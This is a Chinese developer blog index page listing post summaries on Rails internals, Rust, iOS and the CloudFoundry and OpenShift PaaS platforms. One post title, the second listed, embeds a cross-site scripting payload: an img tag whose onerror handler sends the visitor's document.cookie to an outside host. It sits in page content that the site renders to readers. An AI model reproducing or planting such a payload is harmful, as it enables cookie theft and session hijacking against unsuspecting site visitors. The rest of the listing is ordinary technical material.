自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(28)
  • 资源 (1)
  • 收藏
  • 关注

原创 Rails 4-2-stable 参考手册 (Beta)

自己使用 Rails 已经有几年时间了,我一直想对它有个全面、系统的了解。所以编写、整理了这本书,供自己学习和使用,尽量做到全面、系统,有讲概念,有讲原理。

2015-09-25 11:59:37 782

原创 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'

欢迎大家一起来推荐阅读源,中文和英文的都可以。推荐的时候,请把网址也附上哦 【2015-10-05 更新】:下面摘用唐巧以前整理的 iOS 博客。但把死链,2015年就没有更新的链接去掉了。并且加上了“最近更新”,添加了更多的优秀博客、网址。地址最近更新南峰子的技术博客2015-09-26唐巧的技术博客

2015-10-11 01:49:55 1123

原创 Metal 使用举例

Metal 使用举例原生的 Metal在 Rails 里 metal 也属于 middleware,我们可以这么用:# config/routes.rbget 'hello' => 'hello#index'# ...# app/controllers/hello_controller.rbclass HelloController < ActionController::Metal de

2015-07-20 20:13:59 670

原创 Metal - 加强的 Rack, 简陋的 Action Controller

加强的 Rack:意味着它符合 Rack 接口规范,可以直接使用它,创建出来的应用可以看做是一个 Rack application.在 Rack 的基础上,它增加了 middleware_stack 的预处理。和 Rack 一样,它的功能真的很有限。如你的项目做为 API 对外提供服务,不需要那么多功能,你可以尝试。和 Rack 一样,相对来说它的性能比较高。如你的 Rails 项目对性能要求非常高

2015-07-20 20:09:25 536

转载 UIApplicationDelegate详解

UIApplicationDelegate详解每 个iP每 个iPhone应用程序都有一个UIApplication,UIApplication是iPhone应用程序的开始并且负责初始化并显示 UIWindow,并负责加载应用程序的第一个UIView到UIWindow窗体中。UIApplication的另一个任务是帮助管理应用程序的生命 周期,而UIApplication通

2015-06-26 00:07:40 629

原创 Rust 关键字

pub enum Keyword { As, Break, Crate, Else, Enum, Extern, False, Fn, For, If, Impl, In, Let, Loop, Match, Mod, Move, Mut, Pub,

2015-06-09 14:32:45 1817

原创 Rails 将 mysql 数据库和表转换成 utf-8

有时候在服务器上发现类似“Mysql2::Error: Incorrect string value for Turkish characters”这样的错误。解决办法:rails g migration set_database_and_table_to_utf8内容:class SetDatabaseAndTableToUtf8 < ActiveRecord::Migration def d

2015-05-20 11:23:55 762

翻译 Rust 编程语言

欢迎,本书将教你一些 Rust 编程语言 这方面的知识。Rust 是一门由 Mozilla 主导开发的实验性跨平台编译型编程语言,它的设计准则为“安全,快速,并发”。Rust 没有垃圾回收。相对其它语言,Rust 有一些优点:容易嵌入其它语言,对时间和空间有限制,低级语言(像设备驱动、集成操作系统)。Rust 通过排除数据竞争(data race),把许多未知的错误消灭在编译的时候。本书分为 7 个

2015-05-18 10:11:57 1924 2

原创 acts-as-taggable-on 接口使用

创建了两个表,以及对应的两个 model 分别是: ActsAsTaggableOn::Tag 有 id,name上面是标签表。ActsAsTaggableOn::Tagging 有 id,tag_id,taggable_id,taggable_type,tagger_id,tagger_type,context上面是关联表(中间表)tag_id 就是第一张表,标签表的 idtaggable 为

2015-04-22 21:52:28 1101

原创 使用 Action Mailer

一,Base我们 Mailer 类继承的 ActionMailer::Base 指的就是它。作用它继承于 AbstractController::Base,包含了一些自身及 Abstract Controller 的模块(尽管有的模块它并没有使用到),作用是为了让它的子类(我们的 Mailer 类)能够”更好用、更实用”。 YourMailer | V

2015-04-04 17:15:02 1800

原创 理解 Action Mailer

Action Mailer 是 Rails 内建的组件,用来处理邮件相关业务。它依赖于 Rails 内建的其它组件,如:Active Job、Abstract Controller 和 Action View,以及外部 gem ‘mail’.因为是 Rails 内建的组件,所以使用上通常集成于 Rails 项目,但其实它也可以在 Rails 之外使用。核心是 gem ‘mail’既然是用来处理邮件相

2015-04-04 17:08:57 835

原创 Metal - 精简的 ActionController::Base

Metal - 精简的 ActionController::BaseActionController::Base 在它基础之上添加了多个类和模块,这使得功能得到增多,同时在性能上也会有相应损耗。如果你觉得这些功能不是必需的,或者性能的损耗是不可忍受的,你可以直接使用 Metal.

2015-04-03 14:20:51 851

原创 一张PPT全面了解OpenShift PaaS平台

学习及使用OpenShift中随手做的PPT,全是干货。从全体架构,到具体实现细节,应有具有。Node, Broker, Console, Messaging System, User Authentication, Domain Name Management只要你能耐得下心思看,收获肯定不小!有什么问题,请联系我。Email: leekelby @ gmail.com

2013-12-05 23:18:01 3011

原创 使用cf_nise_installer安装使用CloudFoundry笔记

在学习使用CloudFoundry过程中做的一些笔记,只做稍微整理。对CF不了解的可以看看热闹,对CF了解的希望对你有用。这也是一个踩坑、添坑的过程,当然我也不能保证自己做的是完成正确,我也有可能挖坑给你,请牢记!由于各种原因,如公司规定、个人认知能力有限,说得不到位或者给你挖了坑,请谅解。项目所在:https://github.com/yudai/cf_nise_installe

2013-10-31 09:22:34 6015

原创 理解warden-基本概念及如何做资源隔离限制

在阅读本文之前,作者假设您先对warden的安装过程有所了解,最好已经在自己的机器上安装好了可以使用的warden。因此,建议先阅读http://kelby.writings.io/articles/21一,3个概念rootfs container warden  warden安装后,会生成1个目录 /tmp/warden,在这下面又有3个子目录:cgroup  container

2013-10-30 16:54:18 2193

原创 理解warden(安装启动)

前面自己曾经写过一篇文章介绍在ubuntu 10.04上安装warden,最近又在ubuntu 12.04上再次安装。其实它们的安装过程都是一样的,本文与前文的区别主要在“本文将简单从源代码层面”告诉你warden是如何一步步安装,运行,进行交互的。根据官方文档https://github.com/cloudfoundry/warden/blob/master/warden/doc/g

2013-08-17 11:18:07 1866

原创 图文讲解OpenShift PaaS

OpenShift是什么、提供什么给开发者?使用PaaS平台,您无需再像以前一样关注网络、操作系统、Web服务器、应用服务器,它们对于你来说是透明的,除了性能以外,你甚至可以忽略他们的存在。你只需要选择合适的语言、服务和中间件,并根据需求开发、升级、更新应用即可。OpenShift是RedHat推出的PaaS平台,开源、开放,而且提供一定限额的免费资源供开发者使用。支持Java

2013-04-18 22:21:00 4799

原创 云计算PaaS平台-OpenShift主要技术简介

每个云计算厂商都想依托一个平台打造自己的生态圈,吸引云应用开发者,以差异化的竞争优势从中胜出。PaaS作为一个应用平台,是云计算里重要的一环,其重要性和必要性自然不言而喻。对于大多数开发者来说,它们当然关心计算、存储以及网络情况,但他们往往只是关心它们的性能参数,而不想了解它们是如何实现的。他们不想跟操作系统打交道,整日考虑为系统打补丁、做升级、防范病毒,以及处理多台机器之间的网络安全、防

2013-04-13 23:01:58 5392

原创 在OpenStack上使用dev_setup部署CloudFoundry

在OpenStack上部署CloudFoundry,和其它环境没有根本区别,有的可能是方便一点。这里以我们的线上环境部署为例,目前部署使用到了4台虚拟机,分别如下:Instance Name IP 地址 Rolerest 10.0.0.14 (132.126.35.165) restdea0

2013-04-01 10:27:27 1656

原创 PaaS 及 OpenShift架构简介

PaaS 及OpenShift架构简介对PaaS的简单介绍问题描述。一般我们传统开发,折腾服务器在所难免。选择时得考虑CPU大小, 内存多少,带宽如何,以及有什么操作系统; 然后还得在上面安装自己需要的语言、框架、服务,Web 服务器(虽然这一般都有默认安装),应用服务器,以及其它中间件之类的;再有就是登录上去然后发布、管理应用,维护应用和服务器本身。 如果只有少量应用或服务器

2013-03-19 14:40:38 5730

原创 CloudFoundry源代码学习笔记之Health Manager

Health Manage是开源CloudFoundry的重要组件之一,其最终目标:智能监控,确保App运行良好,不用运维。本文将为你揭开HM神秘的面纱,作者希望你能够通过本文,减少阅读HM源代码的难度。重点部分已加星( * )- bin/  bulk_util.rb    打印测试样例 bulk 中每个droplet的基本信息  dea_tenancy.rb (与NA

2012-10-25 16:34:47 1868

翻译 CloudFoundry组件之间通信NATS MESSAGES

Cloud Foundry是业界领先的开源PaaS平台,它的内核采用Ruby开发。设计上使用以NATS消息系统为核心的松耦合组件架构,强调以NATS消息系统为核心的松耦合组件架构所带来的弹性。NATS一个轻量级的 发布-订阅, 分布式队列消息系统,基于EventMachine开发。本文重点将列出CF系统中,都有哪些 "NATS MESSAGES",并且对其功能做简单介绍。

2012-10-24 16:45:53 1539 1

原创 从CloudFoundry源代码看vcap安装过程

本文仅关注dev_setup子目录,通过阅读本文及源代码,你能够大致了解运用dev_setup是如何实现对CF的布暑及启动的。bin/vcap_dev_setupparse options, sudo, bundle clear, ruby, gem, proxy, wget, config,chef, rake, git (准备最基本环境。可手动安装,不碍事)----lib/

2012-10-21 22:20:24 1072

原创 对CloudFoundry的一些提问和回答

这是的一半内容从vcap_dev邮件列表中整理出来关于CloudFoundry的一些问答,另一半内容是作者本人在实现使用中遇到的问题和解决思路。如果你在布暑/安装过程中遇到类似问题,将会很容易从这里得到答案。我整理别人遇到的问题因为下次没准我也会遇到,帮助别人的同时也是帮助自己,希望本文对您一定参考作用。怎样在一个dea节点里安装warden?怎么安装dea-ng? 能从外

2012-10-19 14:08:42 2385

原创 CloudFoundry源代码学习笔记之warden (一)

# warden 是一个有关资源隔离 和 资源管理 的框架由三个 Gem [ em-warden-client, warden-client, warden-protocol ] 和 一个 Ruby 项目 [ warden ] 组成## warden-protocol/ (难度系数 *)create, stop, destroy, info  --  增删查改 (所钟对的资源是

2012-10-16 09:43:27 1574

原创 CloudFoundry 学习之 warden 的安装

说明:warden代码更新比较快,安装过程中如有和本文描述不符,请以实际为准。本文不再更新。warden -- 资源隔离和管理。下面我将简单说一下,如何从头开始安装。本文假设你对 Ruby 不熟悉!首先请安装 ruby, 推荐使用 rvm ...建议安装教程:https://rvm.io/rvm/install/ 请耐心点自己阅读,并安装。(因为种种原因,不保证能成功) -- PS

2012-10-15 15:12:25 2702 6

原创 CloudFoundry源代码学习笔记之router

所有希望进入CF的外部请求,都要经过router的分析处理,配合nginx完成各种情况下的转发工作。- config.yml  如何与外界(nginx, NATS)通信?答: 通过 /tmp/router.sock,  4222端口- ext/  nginx/    对nginx的扩展有两文件      1. tablesave.lua --> 路由表的 '

2012-10-14 16:39:46 1673

原创 Cloud Foundry参赛博文——CloudFoundry源代码学习笔记之vmc

vmc版本升级变化较大,且有不兼容现象。本博文仅适用于 vmc 0.4.* 之前版本,否则参考价值不大。本文不再更新。vmc/|-- bin/| |__ vmc|-- caldecott_helper/| |__ server.rb|-- config/| |-- micro/| |__ clients.yml |-- lib/|-- Rakefile|__

2012-10-14 16:39:34 1898

一张PPT全面了解OpenShift PaaS平台

学习及使用OpenShift中随手做的PPT,全是干货。从全体架构,到具体实现细节,应有具有。 Node, Broker, Console, Messaging System, User Authentication, Domain Name Management各个组件,只要你能耐得下心思看,收获肯定不小! 有什么问题,请联系我。Email: leekelby @ gmail.com

2014-05-29

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除